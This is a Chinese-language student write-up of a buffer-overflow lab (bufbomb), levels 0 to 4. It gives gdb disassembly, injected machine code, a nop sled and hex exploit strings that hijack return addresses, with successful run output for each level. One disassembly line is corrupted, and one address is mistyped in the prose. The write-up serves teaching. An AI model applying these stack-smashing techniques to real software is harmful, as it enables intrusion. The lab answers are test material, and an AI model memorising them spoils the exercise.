Level0：

第一题当 test 函数调用 getbuf 函数时，按照惯例会返回 test 函数，而要求救赎要当 getbuf 函数执行结束后，返回到 smoke 函数中；大致目的就是输入一个过长的字符串，把 getbuf 函数的返回地址覆盖掉，改成 smoke 函数的地址。

首先反汇编 getbuf 函数：

```
(gdb) disass getbuf
Dump of assembler code for function getbuf:
   0x080494e5 <+0>:     push   %ebp
   0x080494e6 <+1>:     mov    %esp,%ebp
   0x080494e8 <+3>:     push   %ebx
   0x080494e9 <+4>:     sub    $0x24,%esp
   0x080494ec <+7>:     call   0x80494dd <__x86.get_pc_thunk.ax>
   0x080494f1 <+12>:    add    $0x3b0f,%eax
   0x080494f6 <+17>:    sub    $0xc,%esp
   0x080494f9 <+20>:    lea    -0x28(%ebp),%edx
   0x080494fc <+23>:    push   %edx
   0x080494fd <+24>:    mov    %eax,%ebx
   0x080494ff <+26>:    call   0x8048ec5 <Gets>
   0x08049504 <+31>:    add    $0x10,%esp
   0x08049507 <+34>:    mov    $0x1,%eax
   0x0804950c <+39>:    mov    -0x4(%ebp),%ebx
   0x0804950f <+42>:    leave
 Software Updater 43>:  ret
End of assembler dump.
```

可以发现调用 get 函数写数据的位置距返回地址有 44 字节，加上返回地址就是 48 字节，所以只需要在前 44 个字节任意输入，在后四个字节输入 smoke 的入口地址就可以了，接下来反汇编 smoke 函数：

```
Dump of assembler code for function smoke:
   0x08048bc6 <+0>:     push   %ebp
   0x08048bc7 <+1>:     mov    %esp,%ebp
   0x08048bc9 <+3>:     push   %ebx
   0x08048bca <+4>:     sub    $0x4,%esp
   0x08048bcd <+7>:     call   0x8048b00 <__x86.get_pc_thunk.bx>
   0x08048bd2 <+12>:    add    $0x442e,%ebx
   0x08048bd8 <+18>:    sub    $0xc,%esp
   0x08048bdb <+21>:    lea    -0x2810(%ebx),%eax
   0x08048be1 <+27>:    push   %eax
   0x08048be2 <+28>:    call   0x8048950 <puts@plt>
   0x08048be7 <+33>:    add    $0x10,%esp
   0x08048bea <+36>:    sub    $0xc,%esp
   0x08048bed <+39>:    push   $0x0
   0x08048bef <+41>:    call   0x80496da <validate>
   0x08048bf4 <+46>:    add    $0x10,%esp
   0x08048bf7 <+49>:    sub    $0xc,%esp
   0x08048bfa <+52>:    push   $0x0
   0x08048bfc <+54>:    call   0x8048960 <exit@plt>
End of assembler dump.
```

可以发现入口地址是 0x08048bc6，小端法保存就是 c6 8b 04 08，所以可以写如下的 exploit.txt 文件；

```
01 02 03 04 05 06 07 08 09 10
11 12 13 14 15 16 17 18 19 20
21 22 23 24 25 26 27 28 29 30
31 32 33 34 35 36 37 38 39 40
41 42 43 44 c6 8b 04 08
```

然后检测，成功调用了 smoke 函数：

```
cx418y@ubuntu:~/Desktop/buflab-handout$ cat exploit.txt|./hex2raw|./bufbo
9302010084
Userid: 19302010084
Cookie: 0x67d973f7
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
```

Level1：

与 level0 类似，我们需要让 test 函数返回到 fizz，而不是 test，但是额外的要求是要传入自己的 cookie 作为参数，首先还是反汇编 fizz 函数：

```
Dump of assembler code for function fizz:
   0x08048c01 <+0>:     push   %ebp
   0x08048c02 <+1>:     mov    %esp,%ebp
   0x08048c04 <+3>:     push   %ebx
   0x08048c05 <+4>:     sub    $0x4,%esp
   0x08048c08 <+7>:     call   0x8048b00 <__x86.get_pc_thunk.bx>
   0x08048c0d <+12>:    add    $0x43f3,%ebx
   0x08048c13 <+18>:    mov    0x8(%ebp),%edx
   0x08048c16 <+21>:    mov    0x1114(%ebx),%eax
   0x08048c1c <+27>:    cmp    %eax,%edx
   0x08048c1e <+29>:    jne    0x8048c44 <fizz+67>
   0x08048c20 <+31>:    sub    $0x8,%esp
   0x08048c23 <+34>:    pushl  0x8(%ebp)
   0x08048c26 <+37>:    lea    -0x27f5(%ebx),%eax
   0x08048c2c <+43>:    push   %eax
   0x08048c2d <+44>:    call   0x8048870 <printf@plt>
   0x08048c32 <+49>:    add    $0x10,%esp
   0x08048c35 <+52>:    sub    $0xc,%esp
   0x08048c38 <+55>:    push   $0x1
   0x08048c3a <+57>:    call   0x80496da <validate>
   0x08048c3f <+62>:    add    $0x10,%esp
   0x08048c42 <+65>:    jmp    0x8048c59 <fizz+88>
   0x08048c44 <+67>:    sub    $0x8,%esp
```

```
---Type <return> to continue, or q <return> to quit---
   0x08048c47 <+70>:    pushl  0x8(%ebp)
   0x08048c4a <+73>:    lea    -0x27d4(%ebx),%eax
   0x08048c50 <+79>:    push   %eax
   0x08048c51 <+80>:    call   0x8048870 <printf@plt>
   0x08048c56 <+85>:    add    $0x10,%esp
   0x08048c59 <+88>:    sub    $0xc,%esp
   0x08048c5c <+91>:    push   $0x0
   0x08048c5e <+93>:    call   0x8048960 <exit@plt>
```

可以看到依旧是前 44 位是可以随便填入，第 45-48 是返回地址，只需要改成 fizz 函数的入口地址就可以了，我们先反汇编 fizz 函数：

```
(gdb) disass fizz
Dump of assembler code for function fizz:
   0x08048c01 <+0>:     push   %ebp
   0x08048c02 <+1>:     mov    %esp,%ebp
   0x08048c04 <+3>:     push   %ebx
   0x08048c05 <+4>:     sub    $0x4,%esp
   0x08048c08 <+7>:     call   0x8048b00 <__x86.get_pc_thunk.bx>
   0x08048c0d <+12>:    add    $0x43f3,%ebx
   0x08048c13 <+18>:    mov    0x8(%ebp),%edx
   0x08048c16 <+21>:    mov    0x1114(%ebx),%eax
   0x08048c1c <+27>:    cmp    %eax,%edx
   0x08048c1e <+29>:    jne    0x8048c44 <fizz+67>
   0x08048c20 <+31>:    sub    $0x8,%esp
   0x08048c23 <+34>:    pushl  0x8(%ebp)
   0x08048c26 <+37>:    lea    -0x27f5(%ebx),%eax
   0x08048c2c <+43>:    push   %eax
   0x08048c2d <+44>:    call   0x8048870 <printf@plt>
   0x08048c32 <+49>:    add    $0x10,%esp
   0x08048c35 <+52>:    sub    $0xc,%esp
   0x08048c38 <+55>:    push   $0x1
```

```
0x08048c3a <+57>:    call   0x80496da <validate>
0x08048c3f <+62>:    add    $0x10,%esp
0x08048c42 <+65>:    jmp    0x8048c59 <fizz+88>
0x08048c44 <+67>:    sub    $0x8,%esp
Type <return> to continue, or q <return> to quit---
0x08048c47 <+70>:    pushl  0x8(%ebp)
0x08048c4a <+73>:    lea    -0x27d4(%ebx),%eax
0x08048c50 <+79>:    push   %eax
0x08048c51 <+80>:    call   0x8048870 <printf@plt>
0x08048c56 <+85>:    add    $0x10,%esp
0x08048c59 <+88>:    sub    $0xc,%esp
0x08048c5c <+91>:    push   $0x0
0x08048c5e <+93>:    call   0x8048960 <exit@plt>
```

可以看到 fizz 的入口地址是 0x08048c01，小端表示为 01 c8 04 08，可以看到 fizz 函数中先将%ebp 压入栈，在将%ebx 压入栈，之后将%ebp+8 处的值给%ebx，所以在输入 fizz 的入口地址之后，应该再任意输入四个字节，之后再输入 cookie 的值，于是可以有以下输入：

```
01 02 03 04 05 06 07 08 09 10
11 12 13 14 15 16 17 18 19 20
21 22 23 24 25 26 27 28 29 30
31 32 33 34 35 36 37 38 39 40
41 42 43 44 01 8c 04 08
00 00 00 00
f7 73 d9 67
```

之后测试，成功得到结果：

```
cx418y@ubuntu:~/Desktop/buflab-handout$ cat fizz.txt|./hex2raw|./
2010084
Userid: 19302010084
Cookie: 0x67d973f7
Type string:Fizz!: You called fizz(0x67d973f7)
VALID
NICE JOB!
cx418y@ubuntu:~/Desktop/buflab-handout$
```

Level2：

与 Level0 和 Level1 类似，需要让 bufbomb 在执行过程中执行 bang 而不是回到 test；首先我们需要找到全局变量 global_value 的内存地址，所以先反汇编 bang 函数：

```
(gdb) disass bang
Dump of assembler code for function bang:
   0x08048c63 <+0>:     push   %ebp
   0x08048c64 <+1>:     mov    %esp,%ebp
   0x08048c66 <+3>:     push   %ebx
   0x08048c67 <+4>:     sub    $0x4,%esp
   0x08048c6a <+7>:     call   0x8048b00 <__x86.get_pc_thunk.bx>
   0x08048c6f <+12>:    add    $0x4391,%ebx
   0x08048c75 <+18>:    mov    0x111c(%ebx),%eax
   0x08048c7b <+24>:    mov    %eax,%edx
   0x08048c7d <+26>:    mov    0x1114(%ebx),%eax
   0x08048c83 <+32>:    cmp    %eax,%edx
   0x08048c85 <+34>:    jne    0x8048caf <bang+76>
   0x08048c87 <+36>:    mov    0x111c(%ebx),%eax
   0x08048c8d <+42>:    sub    $0x8,%esp
   0x08048c90 <+45>:    push   %eax
   0x08048c91 <+46>:    lea    -0x27b4(%ebx),%eax
   0x08048c97 <+52>:    push   %eax
   0x08048c98 <+53>:    call   0x8048870 <printf@plt>
   0x08048c9d <+58>:    add    $0x10,%esp
   0x08048ca0 <+61>:    sub    $0xc,%esp
   0x08048ca3 <+64>:    push   $0x2
   0x08048ca5 <+66>:    call   0x80496da <validate>
```

```
0x08048ca5 <+66>:    call   0x80496da <validate>
0x08048caa <+71>:    add    $0x10,%esp
Type <return> to continue, or q <return> to quit---
0x08048cad <+74>:    jmp    0x8048cc8 <bang+101>
0x08048caf <+76>:    mov    0x111c(%ebx),%eax
0x08048cb5 <+82>:    sub    $0x8,%esp
0x08048cb8 <+85>:    push   %eax
0x08048cb9 <+86>:    lea    -0x278f(%ebx),%eax
0x08048cbf <+92>:    push   %eax
0x08048cc0 <+93>:    call   0x8048870 <printf@plt>
0x08048cc5 <+98>:    add    $0x10,%esp
0x08048cc8 <+101>:   sub    $0xc,%esp
0x08048ccb <+104>:   push   $0x0
0x08048ccd <+106>:   call   0x8048960 <exit@plt>
```

可以看到在<+18>~<+32>是将地址为%ebx+0x111c 处的值和地址为%ebx+0x111c 处的值进行比较，于是我们在 getbuf 处设置断点，进入查看%ebx 的值如下：

```
(gdb) p/x $ebx
$1 = 0x804d000
```

然后得到地址%ebx+0x111c 和%ebx+0x111c 并查看，发现分别储存的是全局变量 global_value 和 cookie：

```
(gdb) x/s 0x804e11c
0x804e11c <global_value>:       ""
(gdb) x/s 0x804e114
0x804e114 <cookie>:     ""
```

于是可以编写如下的汇编代码将 cookie 的值传给 global_value，然后将 bang 的入口地址压入栈，之后返回。并将其转化为机器码：

```
movl $0x67d973f7 0x804e11c
push $0x08048c63
ret
```

机器码：

```
level2.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   c7 05 1c e1 04 08 f7    movl   $0x67d973f7,0x804e11c
   7:   73 d9 67
   a:   68 63 8c 04 08          push   $0x8048c63
   f:   c3                      ret
```

接下来考虑执行 getbuf 函数的时候，将其返回地址修改为这个函数的地址，然后 getbuf 执行完后就执行这个函数，然后自动执行 bang 函数，所以要找到我们写的这个函数的地址，在 getbuf 中设置断点，反汇编 getbuf：

```
(gdb) disass getbuf
Dump of assembler code for function getbuf:
   0x080494e5 <+0>:     push   %ebp
   0x080494e6 <+1>:     mov    %esp,%ebp
   0x080494e8 <+3>:     push   %ebx
   0x080494e9 <+4>:     sub    $0x24,%esp
   0x080494ec <+7>:     call   0x80494dd <__x86.get_pc_thunk.ax>
   0x080494f1 <+12>:    add    $0x3b0f,%eax
   0x080494f6 <+17>:    sub    $0xc,%esp
   0x080494f9 <+20>:    lea    -0x28(%ebp),%edx
   0x080494fc <+23>:    push   %edx
   0x080494fd <+24>:    mov    %eax,%ebx
=> 0x080494ff <+26>:    call   0x8048ec5 <Gets>
   0x08049504 <+31>:    add    $0x10,%esp
   0x08049507 <+34>:    mov    $0x1,%eax
   0x0804950c <+39>:    mov    -0x4(%ebp),%ebx
   0x0804950f <+42>:    leave
   0x08049510 <+43>:    ret
```

我们的函数的地址应该是在%edx 中，

于是查看%edx 的值：

```
(gdb) p/x $edx
$1 = 0x556831e8
```

然后就可以根据机器码和函数地址构造输入的内容了：

```
c7 05 1c e1 04 08 f7 73 d9 67
68 63 8c 04 08 c3 17 18 19 20
21 22 23 24 25 26 27 28 29 30
31 32 33 34 35 36 37 38 39 40
41 42 43 44 e8 31 68 55
```

然后测试一下：

```
cx418y@ubuntu:~/Desktop/buflab-handout$ cat level2.txt|./hex2raw|./bufbomb -u 19
302010084
Userid: 19302010084
Cookie: 0x67d973f7
Type string:Bang!: You set global_value to 0x67d973f7
VALID
NICE JOB!
```

Level3：

level3 要修饰修改 getbuf 的返回值为 cookie，而不是 1,；需要解决的问题有两个，一个是修复破坏的栈帧，另一个是修改返回值，与前几个 level 不同，这个 level 需要正确地返回到 test 函数，所以我们急需要保证旧的%ebp 不被改写，又要保证返回地址不出错。首先在 getbuf 处设置断点，运行，反汇编 getbuf 函数：

```
(gdb) disass getbuf
Dump of assembler code for function getbuf:
   0x080494e5 <+0>:     push   %ebp
   0x080494e6 <+1>:     mov    %esp,%ebp
   0x080494e8 <+3>:     push   %ebx
=> 0x080494e9 <+4>:     sub    $0x24,%esp
   0x080494ec <+7>:     call   0x80494dd <__x86.get_pc_thunk.ax>
   0x080494f1 <+12>:    add    $0x3b0f,%eax
   0x080494f6 <+17>:    sub    $0xc,%esp
   0x080494f9 <+20>:    lea    -0x28(%ebp),%edx
   0x080494fc <+23>:    push   %edx
   0x080494fd <+24>:    mov    %eax,%ebx
   0x080494ff <+26>:    call   0x8048ec5 <Gets>
   0x08049504 <+31>:    add    $0x10,%esp
   0x08049507 <+34>:    mov    $0x1,%eax
   0x0804950c <+39>:    mov    -0x4(%ebp),%ebx
   0x0804950f <+42>:    leave
   0x08049510 <+43>:    ret
End of assembler dump.
```

然后查看此时%ebp 的值：

```
(gdb) p/x $ebp
$1 = 0x55683210
```

对于返回地址，可以把 getbuf 的下一句的地址再压栈，所以下反汇编 test：

```
Dump of assembler code for function test:
   0x08048cd2 <+0>:     push   %ebp
   0x08048cd3 <+1>:     mov    %esp,%ebp
   0x08048cd5 <+3>:     push   %ebx
   0x08048cd6 <+4>:     sub    $0x14,%esp
   0x08048cd9 <+7>:     call   0x8048b00 <__x86.get_pc_thunk.bx>
   0x08048cde <+12>:    add    $0x4322,%ebx
   0x08048ce4 <+18>:    call   0x8049228 <uniqueval>
   0x08048ce9 <+23>:    mov    %eax,-0x10(%ebp)
   0x08048cec <+26>:    call   0x80494e5 <getbuf>
   0x08048cf1 <+31>:    mov    %eax,-0xc(%ebp)
   0x08048cf4 <+34>:    call   0x8049228 <uniqueval>
   0x08048cf9 <+39>:    mov    %eax,%edx
   0x08048cfb <+41>:    mov    -0x10(%ebp),%eax
   0x08048cfe <+44>:    cmp    %eax,%edx
   0x08048d00 <+46>:    je     0x8048d16 <test+68>
   0x08048d02 <+48>:    sub    $0xc,%esp
   0x08048d05 <+51>:    lea    -0x2770(%ebx),%eax
   0x08048d0b <+57>:    push   %eax
   0x08048d0c <+58>:    call   0x8048950 <puts@plt>
   0x08048d11 <+63>:    add    $0x10,%esp
   0x08048d14 <+66>:    jmp    0x8048d5c <test+138>
   0x08048d16 <+68>:    mov    -0xc(%ebp),%edx
---Type <return> to continue, or q <return> to quit---
```

可以看到 getbuf 执行完后的下一句地址为 0x08048cf1，因此我们可以编写汇编代码中先将 cookie 的值赋给%eax，并将下一条指令的地址压栈并生成机器码：

```
movl $0x67d973f7, %eax
push $0x08048cf1
ret
```

```
level3.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   b8 f7 73 d9 67          mov    $0x67d973f7,%eax
   5:   68 f1 8c 04 08          push   $0x8048cf1
   a:   c3                      ret
```

之后是还原 ebp，在输入的字符串 41-44 字节还原 ebp 的值，在进入 getbuf 函数前一步查看 ebp：

```
(gdb) p/x $ebp
$1 = 0x55683230
```

用小端表示应该是 30 32 68 55；

之后是返回地址，和 level2 的返回地址一样，注意到 test 函数一开始将%ebx 压栈，

```
0x08048cd2 <+0>:     push   %ebp
0x08048cd3 <+1>:     mov    %esp,%ebp
0x08048cd5 <+3>:     push   %ebx
```

并且通过后面的代码可以发现%eax 的值是通过%ebx 得到的，所以%ebx 也应该要复原，所以先查看%ebx 一开始的值，并且写在 36-40 字节的位置，

```
(gdb) p/x $ebx
$1 = 0x804d000
```

于是就可以构造字符串了：

```
b8 f7 73 d9 67 68 f1 8c 04 08
c3 00 00 00 00 00 17 18 19 20
21 22 23 24 25 26 27 28 29 30
31 32 33 34 35 36
00 d0 04 08
30 32 68 55
e8 31 68 55
```

然后测试：

```
cx418y@ubuntu:~/Desktop/buflab-handout$ cat level3.txt|./hex2raw|./bu
302010084
Userid: 19302010084
Cookie: 0x67d973f7
Type string:Boom!: getbuf returned 0x67d973f7
VALID
NICE JOB!
```

Level4：

Level4 算是 level3 的进阶版，要使 getbufn 函数连续运行 5 次，每次需要设置返回值为我们自己的 cookie，并正确的返回到 testn 函数中。首先还是先查看 getbufn 的汇编代码：

```
(gdb) disass getbufn
Dump of assembler code for function getbufn:
   0x08049511 <+0>:     push   %ebp
   0x08049512 <+1>:     mov    %esp,%ebp
   0x08049514 <+3>:     push   %ebx
   0x08049515 <+4>:     sub    $0x204,%esp
   0x0804951b <+10>:    call   0x80494dd <__x86.get_pc_thunk.ax>
   0x08049520 <+15>:    add    $0x3ae0,%eax
   0x08049525 <+20>:    sub    $0xc,%esp
   0x08049528 <+23>:    lea    -0x208(%ebp),%edx
   0x0804952e <+29>:    push   %edx
   0x0804952f <+30>:    mov    %eax,%ebx
   0x08049531 <+32>:    call   0x8048ec5 <Gets>
   0x08049536 <+37>:    add    $0x10,%esp
   0x08049539 <+40>:    mov    $0x1,%eax
   0x0804953e <+45>:    mov    -0x4(%ebp),%ebx
   0x08049541 <+48>:    leave
   0x08049542 <+49>:    ret
End of assembler dump.
```

可以看到 buf 的首地址为%ebp-208，也就是有 520 字节的大小。这样每次运行 testn 的 ebp 都是不同的，因此 getbufn 保存的 testn 的 ebp 也是随机的，但是不变的是栈顶的 esp 是始终固定的，因此可以用 esp 表示 ebp。

首先在 getbufn 处设置断点，并使用-n 模式运行成程序，并查看 ebp 的值，虽然 ebp 的值是变化的，但是运行五次可以看到他的范围，只需要找到他的最大值，如图所示最大值应该是 0x55683260，用他减去 0x208，就是最高的 buf 地址 0x55683058。

```
(gdb) p/x $ebp
$1 = 0x55683210
(gdb) c
Continuing.
Type string:1
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049515 in getbufn ()
(gdb) p/x $ebp
$2 = 0x556831c0
(gdb) c
Continuing.
Type string:2
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049515 in getbufn ()
(gdb) p/x $ebp
$3 = 0x556831e0
(gdb) c
Continuing.
Type string:3
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049515 in getbufn ()
(gdb) p/x $ebp
$4 = 0x55683260
(gdb) c
```

```
Breakpoint 1, 0x08049515 in getbufn ()
(gdb) p/x $ebp
$5 = 0x55683230
(gdb) c
Continuing.
Type string:5
Dud: getbufn returned 0x1
```

接下来在 testn 的汇编代码中可以看到 testn 中原%ebp 的值为%esp-0x18，getbufn 返回的地址是 0x08048d81，于是可以编写汇编代码：

```
0x08048d62 <+0>:     push   %ebp
0x08048d63 <+1>:     mov    %esp,%ebp
0x08048d65 <+3>:     push   %ebx
0x08048d66 <+4>:     sub    $0x14,%esp
0x08048d69 <+7>:     call   0x8048b00 <__x86.get_pc_thunk.bx>
0x08048d6e <+12>:    add    $0x4292,%ebx
0x08048d74 <+18>:    call   0x8049228 <uniqueval>
0x08048d79 <+23>:    mov    %eax,-0x10(%ebp)
0x08048d7c <+26>:    call   0x8049511 <getbufn>
0x08048d81 <+31>:    mov    %eax,-0xc(%ebp)
0x08048d84 <+34>:    call   0x8049228 <uniqueval>
0x08048d89 <+39>:    mov    %eax,%edx
0x08048d8b <+41>:    mov    -0x10(%ebp),%eax
```

```
movl $0x67d973f7, %eax
lea 0x18(%esp),%ebp
push $0x08048d81
ret
```

由于缓冲区有 520 个字节加上返回地址和原 ebp,总共 528 个字节。注意同 level3 一样还需要复原 ebx 的值，需要在 ebp 前四个字节写上原 ebx 的值，除去上述机器码 15 个字节，返回地址 4 个字节，ebx4 个字节，剩余 505 个字节用 nop 填充，对应 ascii 码为 90。如下：（只截取了片段）

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90
b8 f7 73 d9 67
8d 6c 24 18
68 81 8d 04 08 c3
00 d0 04 08
90 90 90 90
58 30 68 55
```

然后测试：

```
cx418y@ubuntu:~/Desktop/buflab-handout$ cat level4.txt|./hex2raw -n|./buf
bomb -n -u 19302010084
Userid: 19302010084
Cookie: 0x67d973f7
Type string:KABOOM!: getbufn returned 0x67d973f7
Keep going
Type string:KABOOM!: getbufn returned 0x67d973f7
Keep going
Type string:KABOOM!: getbufn returned 0x67d973f7
Keep going
Type string:KABOOM!: getbufn returned 0x67d973f7
Keep going
Type string:KABOOM!: getbufn returned 0x67d973f7
VALID
NICE JOB!
```